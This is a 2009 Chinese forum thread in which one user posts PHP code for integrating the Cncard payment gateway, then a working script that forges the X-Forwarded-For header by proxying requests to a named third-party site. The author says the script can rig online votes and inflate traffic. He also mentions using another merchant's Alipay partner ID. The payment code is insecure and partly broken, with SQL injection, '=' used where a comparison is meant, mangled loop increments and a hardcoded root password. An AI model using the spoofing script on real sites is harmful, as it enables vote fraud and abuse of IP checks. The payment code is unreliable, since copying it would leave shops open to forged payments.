登录 注册

登录

问题 云网支付接口[PHP版本]非签约支付宝接口以后发上

  • 影雪
  • 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK2
  • COM_KUNENA_SAMPLEDATA_RANK2
  • 学海无涯苦作舟
更多
2009年12月03日 21:22 - 2009年12月04日 15:00 #1 作者: 影雪
实际操作需要把注释去掉(HTML和PHP), 发现错误的地方请指出!!谢谢 , 本人邮箱mail@shadowsnow.cn


路漫漫而修远兮,吾将上下而求索 [本人开发的免费网赚程序  www.shadowsnow.cn/GetForFree/index.asp]

登录 或者   注册一个会员帐号 来参与讨论

  • 影雪
  • 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK2
  • COM_KUNENA_SAMPLEDATA_RANK2
  • 学海无涯苦作舟
更多
2009年12月03日 22:04 - 2009年12月04日 10:25 #2 作者: 影雪
支付宝接口有时间再发,不过用的是别人的partner id(照样可以支付成功), 不过要非常安全的话还是花600大洋签约吧..

路漫漫而修远兮,吾将上下而求索 [本人开发的免费网赚程序  www.shadowsnow.cn/GetForFree/index.asp]

登录 或者   注册一个会员帐号 来参与讨论

  • 影雪
  • 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK2
  • COM_KUNENA_SAMPLEDATA_RANK2
  • 学海无涯苦作舟
更多
2009年12月03日 22:50 - 2009年12月04日 15:01 #3 作者: 影雪
影雪 回复了话题: php云网支付接口
<!-- config.php -->
<!-- config.php 实际操作中务必把HTML和PHP注释去掉,否则有可能出现支付失败-->
 
<?php
$passw="wwwwwwww";   //云网交易钥匙
$scode="1000000";   //云网商户号
$yuan=0.01;         //商品价格
$aurl="http://www.shadowsnow.com/A.php"; //产生订单 stat 字段 设为0, 表示尚待支付
$burl="http://www.shadowsnow.com/B.php"; //提交反馈 stat 字段 设为1, 表示支付需确认
$curl="http://www.shadowsnow.com/C.php"; //确认订单 stat 字段 设为2, 表示支付成功
$okurl="http://www.shadowsnow.com/index.asp"; //成功返回页面
$errurl="http://www.shadowsnow.com/error.asp"; //失败返回界面
$host_="localhost";                          //mysql的地址
$user_="root";                                 //mysql的账户
$pwd_="123456";                           //mysql的密码
$dbname_="shadowsnow";              //mysql数据库名       
 
/*
数据库表bank结构:
 
CREATE TABLE IF NOT EXISTS `bank` (
  `id` int(3) NOT NULL AUTO_INCREMENT,
  `user` char(16) NOT NULL,
  `yuan` float NOT NULL,
  `orders` char(15) NOT NULL,
  `memo1` char(32) NOT NULL,
  `memo2` char(32) NOT NULL,
  `signstr` char(32) NOT NULL,
  `stat` tinyint(1) NOT NULL,
  `bdate` char(8) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=17 ;
 
*/
 
class DBconn{
 
	private $host;
	private $user;
	private $pwd;
	private $dbname;
	private $conn;
	private $sql;
	private $result;
 
	function __construct(){
		$this->host=$GLOBALS['host_'] ;
		$this->user=$GLOBALS['user_'] ;
		$this->pwd=$GLOBALS['pwd_'] ;
		$this->dbname=$GLOBALS['dbname_'] ;
		$this->conn=mysql_connect($this->host,$this->user,$this->pwd) or exit("MySQL Error : " . mysql_error());
		mysql_select_db($this->dbname,$this->conn) or exit("MySQL Error : " . mysql_error());
 
	}
 
	function __destruct(){
		mysql_close($this->conn) or exit("MySQL Error : " . mysql_error());
	}
 
	function __get($property_name){
		if (isset($this->property_name)){
		  	return  $this->property_name;
		}
		else{
			return NULL;
		}
	}
 
	function __set($property_name,$value){
		$this->property_name=$this->value;
	}
 
	//增删改
	function execute($sql){
		$this->sql=$sql;
		$this->result=mysql_query($sql,$this->conn) or exit("MySQL Error : " . mysql_error());
		$affected_rows=mysql_affected_rows($this->conn);
		return $affected_rows;
	}
 
	//查询
	function query($sql){
		$this->sql=$sql;
		$this->result=mysql_query($sql,$this->conn) or exit("MySQL Error : " . mysql_error());
		$num_rows=mysql_num_rows($this->result);
		return $num_rows;
	}
 
	//获取记录集
	function result($sql){
		$this->sql=$sql;
		$this->result=mysql_query($sql,$this->conn) or exit("MySQL Error : " . mysql_error());
		return $this->result;
	}
 
	//获取当前记录行
	function fetch(){
		$fetch_object=mysql_fetch_object($this->result);
		return $fetch_object;
	}
 
	//32次md5加密
	function md8($data){
		for ($i = 0; $i < 32; $i  ) { 
			$data = md5($data); 
		} 
		return $data; 
	} 
 
	//24次md5加密, 明文
	function md7($data){
		for ($i = 0; $i < 24; $i  ) { 
			$data = md5($data); 
		} 
		return $data; 
	} 
 
	//8次md5加密,密文, 注:  md1(md7($str))=md8($str)
	function md1($data){
		for ($i = 0; $i < 8; $i  ) { 
			$data = md5($data); 
		} 
		return $data;  
	} 
	function alertu($astr,$aurl){
		exit("<Script Language=JavaScript>alert('".$astr."');location.href='".$aurl."';</Script>");
	}
 
}
?>

路漫漫而修远兮,吾将上下而求索 [本人开发的免费网赚程序  www.shadowsnow.cn/GetForFree/index.asp]

登录 或者   注册一个会员帐号 来参与讨论

  • 影雪
  • 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK2
  • COM_KUNENA_SAMPLEDATA_RANK2
  • 学海无涯苦作舟
更多
2009年12月03日 22:52 - 2009年12月04日 15:02 #4 作者: 影雪
影雪 回复了话题: Re: php云网支付接口
<!-- A.php -->
<!-- A.php 实际操作中务必把HTML和PHP注释去掉,否则有可能出现支付失败-->
 
<?php
	require_once('config.php');
	$dbs=new DBconn();
	$c_orderamount = $yuan;                                            //订单金额
	$user='会员';                                                              //会员姓名
	$c_order	= date("YmdHis")."9".intval($yuan*100);       //订单号
	$c_memo1	= $dbs->md7(date("YmdHis")."9");           //参数1
	$c_memo2	= $dbs->md7("2009".intval($yuan*100)); //参数2
	$c_ymd		= date("Ymd");	                                     //订单产生日期
	$c_mid		= $scode;				                                         //运往商户号
	$c_name		= "影雪";						                              //显示的商户名,可以随意改,没有所谓
	$c_address	= "ShadowSnow.Cn";				                   //商户地址
	$c_tel		= "15895901123";				                          //商户电话
	$c_post		= "210098";						                          //商户邮编
	$c_email	= "mail@shadowsnow.cn";		                      //商户邮箱
	$c_moneytype= "0";							                          //币种, 0为人民币
	$c_retflag	= "1";							                                 //必须选1
	$c_paygate	= "";							                                 //支付网关,留空即可
	$c_returl	= $burl;	                                                    //接受云网支付通知,并反馈的页面
	$c_pass		= $passw;						                          //商户密码
	$notifytype	= "1";							                              //必须选1
	$c_language	= "0";							                          //操作语言,选0
	$srcStr = $c_mid . $c_order . $c_orderamount . $c_ymd . $c_moneytype . $c_retflag . $c_returl . $c_paygate . $c_memo1 . $c_memo2 . $notifytype . $c_language . $c_pass;
	$c_signstr	= md5($srcStr);                                        //签证加密,必须是md5加密,不能用其他加密方式,否则云网当做签证失败处理
 
	//订单是否存在,存在则报错
	$exe = "SELECT `id` FROM `bank` where  orders='$c_order'  ";
	$exe .= " or memo1='$c_memo1'   or signstr='$c_signstr'  limit 1 ";
		if($dbs->query($exe)){
			alertu('Order Existed !', $errurl);
		}
 
	//创建订单,不能创建则报错
	$exe = "INSERT INTO `bank` (user, yuan, orders , memo1 ,memo2 , signstr,  stat , bdate) ";
	$exe .= " VALUES ( '".$user."' ,$c_orderamount,'".$c_order."','".$c_memo1."','".$c_memo2."','".$c_signstr."',0, '".$c_ymd."')";
    if (!$dbs->execute($exe)){
  			alertu('Cannot Create a order !' ,$errurl);
 		}
	unset($dbs);
 
	echo <<<TOD
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
	<meta http-equiv="Content-Language" content="zh-CN">
	<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
	<meta name="robots" content="none" />
	<title>云网支付接口</title>
	<noscript>Your browser does not support JavaScript!</noscript>
</head>
<body onLoad="javascript:document.payForm.submit()">
<form name="payForm" action="https://www.cncard.net/purchase/getorder.asp" method="POST">
			<input type="hidden" name="c_mid" value="$c_mid">
			<input type="hidden" name="c_order" value="$c_order">
			<input type="hidden" name="c_name" value="$c_name">
			<input type="hidden" name="c_address" value="$c_address">
			<input type="hidden" name="c_tel" value="$c_tel">
			<input type="hidden" name="c_post" value="$c_post">
			<input type="hidden" name="c_email" value="$c_email">
			<input type="hidden" name="c_orderamount" value="$c_orderamount">
			<input type="hidden" name="c_ymd" value="$c_ymd">
			<input type="hidden" name="c_moneytype" value="$c_moneytype">
			<input type="hidden" name="c_retflag" value="$c_retflag">
			<input type="hidden" name="c_paygate" value="$c_paygate">
			<input type="hidden" name="c_returl" value="$c_returl">
			<input type="hidden" name="c_memo1" value="$c_memo1">
			<input type="hidden" name="c_memo2" value="$c_memo2">
			<input type="hidden" name="c_language" value="$c_language">
			<input type="hidden" name="notifytype" value="$notifytype">
			<input type="hidden" name="c_signstr" value="$c_signstr">
</form>
</body>
</html>
 
TOD;
?>
 

路漫漫而修远兮,吾将上下而求索 [本人开发的免费网赚程序  www.shadowsnow.cn/GetForFree/index.asp]

登录 或者   注册一个会员帐号 来参与讨论

  • 影雪
  • 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK2
  • COM_KUNENA_SAMPLEDATA_RANK2
  • 学海无涯苦作舟
更多
2009年12月03日 22:53 - 2009年12月04日 15:03 #5 作者: 影雪
<!-- B.php -->
 
<!-- B.php 实际操作中务必把HTML和PHP注释去掉,否则有可能出现支付失败-->
 
<?php
	require_once('config.php');
	$dbs=new DBconn();
	$c_mid			= trim($_GET['c_mid']);			
	$c_order		= trim($_GET['c_order']);			
	$c_orderamount	= trim($_GET['c_orderamount']);	
	$c_ymd			= trim($_GET['c_ymd']);			
	$c_transnum		= trim($_GET['c_transnum']);		
	$c_succmark		= trim($_GET['c_succmark']);				
	$c_moneytype	= trim($_GET['c_moneytype']);		
	$c_cause		= trim($_GET['c_cause']);				
	$c_memo1		= $dbs->md1(trim($_GET['c_memo1']));			
	$c_memo2		= $dbs->md1(trim($_GET['c_memo2']));			
	$c_signstr		= trim($_GET['c_signstr']);		
 
		if($c_mid=="" || $c_order=="" || $c_orderamount=="" || $c_ymd=="" || $c_moneytype=="" || $c_transnum=="" || $c_succmark=="" || $c_signstr==""){
			exit("支付信息有误!");
		}
		$c_pass = $passw;
		$srcStr = $c_mid . $c_order . $c_orderamount . $c_ymd . $c_transnum . $c_succmark . $c_moneytype . $c_memo1 . $c_memo2 . $c_pass;
		$r_signstr	= md5($srcStr);
		if($r_signstr!=$c_signstr){
			exit("签名验证失败");
		}
		$MerchantID=$scode;	 //商户号
		if($MerchantID!=$c_mid){
			exit("提交的商户编号有误");
		}
		if (!preg_match('/^[0-9]{15}$/',$c_order)){
		exit("订单号有误!");
	   }
 
		$exe = "SELECT `yuan` FROM `bank` where  orders='$c_order'  and yuan=$c_orderamount ";
	    $exe .= " and memo1='$c_memo1'  and memo2='$c_memo2' ";
	    $exe .= " and stat = 0 and bdate='$c_ymd'  limit 1 ";  // stat = 0
		if(!$dbs->query($exe)){
			alertu('Order Error !', $errurl);
		}
 
		$r_memo1 = $dbs->md8(substr($c_order,0,15));
		$r_memo2 = $dbs->md8("2009".intval($c_orderamount*100));
		if(($r_memo1<>$c_memo1) || ($r_memo2<>$c_memo2)){
			exit("参数提交有误");
		}
		if($c_succmark!="Y" && $c_succmark!="N"){
			exit("参数提交有误");
		}
 
		if($c_succmark="Y"){
				$exe = "UPDATE bank SET stat=1, signstr='$c_signstr' ";
				$exe .= "   where  orders='$c_order' and  memo1='$c_memo1'  limit 1 ";    // stat = 1
   				 if (!$dbs->execute($exe)){
  						alertu('Cannot Update The Order !' ,$errurl);
 				}
		}
 
		if($c_succmark="N"){
			exit("操作失败,请与管理员联系!!");
		}
		unset($dbs);
		echo "<result>1</result><reURL>".$curl."</reURL>";
?>
 

路漫漫而修远兮,吾将上下而求索 [本人开发的免费网赚程序  www.shadowsnow.cn/GetForFree/index.asp]

登录 或者   注册一个会员帐号 来参与讨论

更多
2009年12月04日 06:46 #6 作者: Joomla之门
感谢 sanion 的分享!

你提交的文章也已收到,正在审核中。谢谢你对 Joomla 的支持!

我建议在贴代码时使用编辑窗口的“程序代码”按钮,这样方便阅读;如果是整篇 PHP 文件,不妨同时以附件形式上传这个 PHP 文件或其压缩格式,以方便会员下载。

谢谢!

付费下载 Joomla 3 扩展汉化版: 我要付费支持 Joomla 之门!

登录 或者   注册一个会员帐号 来参与讨论

  • 影雪
  • 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK2
  • COM_KUNENA_SAMPLEDATA_RANK2
  • 学海无涯苦作舟
更多
2009年12月04日 08:56 - 2009年12月04日 15:03 #7 作者: 影雪
<!-- C.php  -->
 
<!-- C.php 实际操作中务必把HTML和PHP注释去掉,否则有可能出现支付失败-->
<?php
	require_once('config.php');
	$dbs=new DBconn();
	$c_mid			= trim($_GET['c_mid']);			
	$c_order		= trim($_GET['c_order']);			
	$c_orderamount	= trim($_GET['c_orderamount']);	
	$c_ymd			= trim($_GET['c_ymd']);			
	$c_transnum		= trim($_GET['c_transnum']);		
	$c_succmark		= trim($_GET['c_succmark']);				
	$c_moneytype	= trim($_GET['c_moneytype']);		
	$c_cause		= trim($_GET['c_cause']);				
	$c_memo1		= $dbs->md1(trim($_GET['c_memo1']));			
	$c_memo2		= $dbs->md1(trim($_GET['c_memo2']));			
	$c_signstr		= trim($_GET['c_signstr']);		
 
		if($c_mid=="" || $c_order=="" || $c_orderamount=="" || $c_ymd=="" || $c_moneytype=="" || $c_transnum=="" || $c_succmark=="" || $c_signstr==""){
			exit("支付信息有误!");
		}
		$c_pass = $passw;
		$srcStr = $c_mid . $c_order . $c_orderamount . $c_ymd . $c_transnum . $c_succmark . $c_moneytype . $c_memo1 . $c_memo2 . $c_pass;
		$r_signstr	= md5($srcStr);
		if($r_signstr!=$c_signstr){
			exit("签名验证失败");
		}
		$MerchantID=$scode;	//商户号
		if($MerchantID!=$c_mid){
			exit("提交的商户编号有误");
		}
		if (!preg_match('/^[0-9]{15}$/',$c_order)){
		exit("订单号有误!");
	   }
 
		$exe = "SELECT `yuan` FROM `bank` where  orders='$c_order'  and yuan=$c_orderamount ";
	    $exe .= " and memo1='$c_memo1'  and memo2='$c_memo2' ";
	    $exe .= "  and  signstr='$c_signstr' and stat = 1 and bdate='$c_ymd'  limit 1 ";   // stat = 1
		if(!$dbs->query($exe)){
			alertu('Order Error !', $errurl);
		}
		$r_memo1 = $dbs->md8(substr($c_order,0,15));
		$r_memo2 = $dbs->md8("2009".intval($c_orderamount*100));
		if(($r_memo1<>$c_memo1) || ($r_memo2<>$c_memo2)){
			exit("参数提交有误");
		}
		if($c_succmark!="Y" && $c_succmark!="N"){
			exit("参数提交有误");
		}
 
		if($c_succmark="Y"){
				$exe = "UPDATE bank SET stat=2  where  orders='$c_order'  ";
				$exe .= " and  memo1='$c_memo1'   and signstr='$c_signstr'  limit 1 ";           // stat = 2
   				 if (!$dbs->execute($exe)){
  						alertu('Cannot Update The Order !' ,$errurl );
 				}
		}
 
		if($c_succmark="N"){
			exit("操作失败,请与管理员联系!!");
		}
		unset($dbs);
		alertu('支付成功 !' ,$okurl );
?>

路漫漫而修远兮,吾将上下而求索 [本人开发的免费网赚程序  www.shadowsnow.cn/GetForFree/index.asp]

登录 或者   注册一个会员帐号 来参与讨论

  • 影雪
  • 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK2
  • COM_KUNENA_SAMPLEDATA_RANK2
  • 学海无涯苦作舟
更多
2009年12月04日 09:15 #8 作者: 影雪
实际操作中务必把注释去掉,否则有可能出现支付失败

路漫漫而修远兮,吾将上下而求索 [本人开发的免费网赚程序  www.shadowsnow.cn/GetForFree/index.asp]

登录 或者   注册一个会员帐号 来参与讨论

  • 影雪
  • 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK2
  • COM_KUNENA_SAMPLEDATA_RANK2
  • 学海无涯苦作舟
更多
2009年12月04日 10:19 - 2009年12月04日 15:04 #9 作者: 影雪
打包下载,  详见附件

路漫漫而修远兮,吾将上下而求索 [本人开发的免费网赚程序  www.shadowsnow.cn/GetForFree/index.asp]

登录 或者   注册一个会员帐号 来参与讨论

  • 影雪
  • 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK2
  • COM_KUNENA_SAMPLEDATA_RANK2
  • 学海无涯苦作舟
更多
2009年12月04日 15:08 #10 作者: 影雪
不过,本人觉得云网还是没有支付宝安全,支付宝可以通过XmlHttpRequest 发送partner id和钥匙获知是否支付宝发出 ,但云网提不提供这个功能? 上次打电话给它们技术,没有人接.还得仔细看看它们的手册,若是不提供的话,那就别用了,始终安全第一

路漫漫而修远兮,吾将上下而求索 [本人开发的免费网赚程序  www.shadowsnow.cn/GetForFree/index.asp]

登录 或者   注册一个会员帐号 来参与讨论

  • 影雪
  • 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK2
  • COM_KUNENA_SAMPLEDATA_RANK2
  • 学海无涯苦作舟
更多
2009年12月04日 16:30 #11 作者: 影雪
云网手册: 商户系统也可以进一步判断该命令发出方的IP地址为云网支付网关网站的IP地址,以防止用户伪造。如果商户系统对支付网关通知命令的真实性要求不是很高,只验证IP也可,这样可降低商户系统开发的复杂性。云网公司目前使用IP:211.103.171.185/186/187/188/179/180

路漫漫而修远兮,吾将上下而求索 [本人开发的免费网赚程序  www.shadowsnow.cn/GetForFree/index.asp]

登录 或者   注册一个会员帐号 来参与讨论

  • 影雪
  • 话题作者
  • 离线
  • COM_KUNENA_SAMPLEDATA_RANK2
  • COM_KUNENA_SAMPLEDATA_RANK2
  • 学海无涯苦作舟
更多
2009年12月04日 16:32 - 2009年12月04日 16:45 #12 作者: 影雪
影雪 回复了话题: php 中IP的伪造
不幸的是:IP也不可靠

www.xmcase.com/dd.php  如果直接访问这个地址,则得到真实的IP,使用这段代买可以伪造ip进行网上投票,也可以刷网站流量。

获取ip的方法:
<?php
 
function getip(){
	$ip=false;
	if(!empty($_SERVER["HTTP_CLIENT_IP"])){
		$ip = $_SERVER["HTTP_CLIENT_IP"];
	}
	if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
		$ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
		if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
			for ($i = 0; $i < count($ips); $i++) {
			if (!preg("/^(10|172\.16|192\.168)\./", $ips[$i])) {
				$ip = $ips[$i];
				break;
			}
		}
	}
	return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
 
function   get_client_ip()     
                        {   
                                    global   $_SERVER;   
                                    if   (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))     
                                    {   
                                                $realip   =   $_SERVER["HTTP_X_FORWARDED_FOR"];   
                                    }   
                                    elseif   (isset($_SERVER["HTTP_CLIENT_IP"]))     
                                    {   
                                                $realip   =   $_SERVER["HTTP_CLIENT_IP"];   
                                    }   
                                    else     
                                    {   
                                                $realip   =   $_SERVER["REMOTE_ADDR"];   
                                    }   
                                    return   $realip;               
                        }  
 
         echo get_client_ip();
 
 
//来自PHPBB 
if( getenv('HTTP_X_FORWARDED_FOR') != '' ) 
{ 
$client_ip = ( !empty($HTTP_SERVER_VARS['REMOTE_ADDR']) ) ? $HTTP_SERVER_VARS['REMOTE_ADDR'] : ( ( !empty($HTTP_ENV_VARS['REMOTE_ADDR']) ) ? $HTTP_ENV_VARS['REMOTE_ADDR'] : $REMOTE_ADDR );
 
$entries = explode(',', getenv('HTTP_X_FORWARDED_FOR')); 
reset($entries); 
while (list(, $entry) = each($entries)) 
{ 
   $entry = trim($entry); 
   if ( preg_match("/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/", $entry, $ip_list) ) 
   { 
    $private_ip = array('/^0\./', '/^127\.0\.0\.1/', '/^192\.168\..*/', '/^172\.((1[6-9])|(2[0-9])|(3[0-1]))\..*/', '/^10\..*/', '/^224\..*/', '/^240\..*/'); 
    $found_ip = preg_replace($private_ip, $client_ip, $ip_list[1]);
 
    if ($client_ip != $found_ip) 
    { 
     $client_ip = $found_ip; 
     break; 
    } 
   } 
} 
} 
else 
{ 
$client_ip = ( !empty($HTTP_SERVER_VARS['REMOTE_ADDR']) ) ? $HTTP_SERVER_VARS['REMOTE_ADDR'] : ( ( !empty($HTTP_ENV_VARS['REMOTE_ADDR']) ) ? $HTTP_ENV_VARS['REMOTE_ADDR'] : $REMOTE_ADDR ); 
}
 
echo $client_ip;
 
 
//得到服务器MAC(限LINUX服务器) 
function GetMacAddr() 
{ 
     $return_array = array(); 
     $temp_array = array(); 
     $mac_addr = ""; 
     
     @exec("arp -a",$return_array); 
     
     foreach($return_array as $value) 
     { 
         if(strpos($value,$_SERVER["REMOTE_ADDR"]) !== false && 
         preg_match("/(:?[0-9a-f]{2}[:-]){5}[0-9a-f]{2}/i",$value,$temp_array)) 
         { 
             $mac_addr = $temp_array[0]; 
             break; 
         } 
     } 
     
     return ($mac_addr); 
} 
echo GetMacAddr();
?>


伪造ip的方法
<?php    
$address = 'http://www.xmcase.com/dd.php';//地址,必须有http://之类    
$myip = '.210.3210.34.0.13';    
   
ob_start();    
$mtime = explode(' ', microtime());    
$starttime = $mtime[1] + $mtime[0];    
   
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');    
   
if($onoff != 1) {    
        @extract($_POST, EXTR_SKIP);    
        @extract($_GET, EXTR_SKIP);    
}    
   
$self = $_SERVER['PHP_SELF'];    
$myaddress = 'http://'.$_SERVER['HTTP_HOST'].$self;    
   
$comm = '';    
   
if(isset($url) && $url) {    
        $url = str_replace($address, '', $url);    
}    
/*   
foreach($_POST as $key => $val) {   
        if($comm == '') {   
                $comm = $key.'='.rawurlencode($val);   
        } else {   
                $comm = $comm.'&'.$key.'='.rawurlencode($val);   
        }   
}   
*/   
$pcomm = '';    
foreach($_POST as $key => $val) {    
        if($pcomm == '') {    
                $pcomm .= $key.''.urlencode($val);    
        } else {    
                $pcomm .= $pcomm.'&'.$key.'='.urlencode($val);    
        }    
}    
   
foreach($_GET as $key => $val) {    
        if($key != 'url') {    
                if($comm == '') {    
                        $comm = $key.'='.rawurlencode($val);    
                } else {    
                        $comm = $comm.'&'.$key.'='.rawurlencode($val);    
                }    
        }    
}    
   
if(!$url) {    
        $url = $address;    
} else {    
        $url = $address.$url;    
        if($comm) {    
                if(strstr($url,'?')) {    
                        $url = $url.'&'.$comm;    
                } else {    
                        $url = $url.'?'.$comm;    
                }    
        }    
}    
   
if($url) {    
        $cookies= '';    
        if(count($_COOKIE)) {    
                foreach($_COOKIE as $cookie_name => $cookie_var) {    
                        $cookies .= $cookies != '' ? '; '.$cookie_name.'='.$cookie_var : $cookie_name.'='.$cookie_var;    
                }    
        }    
   
        $temp = @parse_url($url);    
        $temp['port'] = isset($temp['port']) ? $temp['port'] : 80;    
        $temp['path'] = isset($temp['path']) ? $temp['path'] : '/';    
        $temp['file'] = substr($temp['path'], strrpos($temp['path'], '/')+1);    
        $temp['dir'] = substr($temp['path'], 0, strrpos($temp['path'], '/'));    
        $temp['base'] = $temp['scheme'].'://'.$temp['host'].($temp['port'] != 80 ? ':'.$temp['port'] : '').$temp['dir'];    
        $temp['prev_dir'] = $temp['path'] != '/' ? substr($temp['base'], 0, strrpos($temp['base'], '/')+1) : $temp['base'].'/';    
        $fp = @fsockopen($temp['host'], $temp['port'], $errno, $errstr, 30);     
        if($fp) {    
                if($_SERVER['REQUEST_METHOD'] != 'POST') {    
                        @fputs($fp, "GET $temp[path]?$temp[query] HTTP/1.1\r\n");    
                } else {    
                        @fputs($fp, "POST $temp[path]?$temp[query] HTTP/1.1\r\n");    
                }    
                @fputs($fp, "Host: $temp[host]\r\n");     
                @fputs($fp, "Accept: */*\r\n");     
                  @fputs($fp, "Referer: [url]http://$temp[url][host]/\r\n");    
                @fputs($fp, "Cookie: $cookies\r\n");     
                @fputs($fp, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n");     
                @fputs($fp, "via: 1.1 JEJE1:80 (squid/2.5.STABLE4-NT-CVS)\r\n");    
                @fputs($fp, "X-Forwarded-For: $myip\r\n");    
                if($_SERVER['REQUEST_METHOD'] == 'POST') {    
                        @fputs($fp, "Content-Type: application/x-www-form-urlencoded\r\n");    
                        @fputs($fp, "Content-Length: ".strlen($pcomm)."\r\n\r\n");    
                        @fputs($fp, $pcomm);    
                }    
                @fputs($fp, "Connection: Close\r\n\r\n");    
   
                while($str = @fread($fp, 4096)) {    
   
                        if($str != "\r\n" && preg_match_all("#set-cookie:([^\r\n]*)#i", $str, $matches)) {    
                                foreach($matches[1] as $cookie_info) {    
                                        preg_match('#^\s*([^=;,\s]*)=?([^;,\s]*)#', $cookie_info, $match) && list(, $name, $value) = $match;    
                                        preg_match('#;\s*expires\s*=([^;]*)#i', $cookie_info, $match) && list(, $expires) = $match;    
                                        $expires = isset($expires) ? strtotime($expires) : false;    
                                        $expires = (!is_numeric($expires) || time() > $expires) ? false : $expires;    
                                        setcookie($name, $value, $expires);    
                                }    
                                $str = str_replace($matches[0], '', $str);    
                        }    
                            
                        $Content .= $str;    
                }    
                @fclose($fp);    
                if(strpos($Content, 'Content-Type: text/html')) {    
                        $Content = substr($Content, strpos($Content, 'Content-Type: text/html')+33);    
                } else {    
                        $Content = substr($Content, strpos($Content, chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a))+4);    
                }    
                    
                $Content = str_replace(' href="',' href="'.$myaddress.'?url=',$Content);    
                $Content = str_replace(' href=\'',' href=\''.$myaddress.'?url=',$Content);    
                $Content = str_replace(' src="',' src="'.$myaddress.'?url=',$Content);    
                $Content = str_replace(' src=\'',' src=\''.$myaddress.'?url=',$Content);    
                $Content = str_replace(' src=image',' src="'.$myaddress.'?url=image',$Content);    
                $Content = str_replace(' src=customavatars/',' src='.$myaddress.'?url=customavatars/',$Content);    
                $Content = str_replace(' action="',' action="http://oem.taihainet.com/2008jd/',$Content);    
                $Content = str_replace(' url("',' url("'.$myaddress.'?url=',$Content);    
                $Content = str_replace('target="saves"',"",$Content);   
                $Content = str_replace(' background="',' background="'.$myaddress.'?url=',$Content);    
                $Content = str_replace(' url(\'',' url(\''.$myaddress.'?url=',$Content);    
                $Content = str_replace($myaddress.'?url=javascript:','javascript:',$Content);    
                $Content = str_replace(';url=',';url='.$myaddress.'?url=',$Content);    
                    
                echo $Content;    
        }    
}    
   
?>    
 

结论: 防不胜防,还是别用云网好了

路漫漫而修远兮,吾将上下而求索 [本人开发的免费网赚程序  www.shadowsnow.cn/GetForFree/index.asp]

登录 或者   注册一个会员帐号 来参与讨论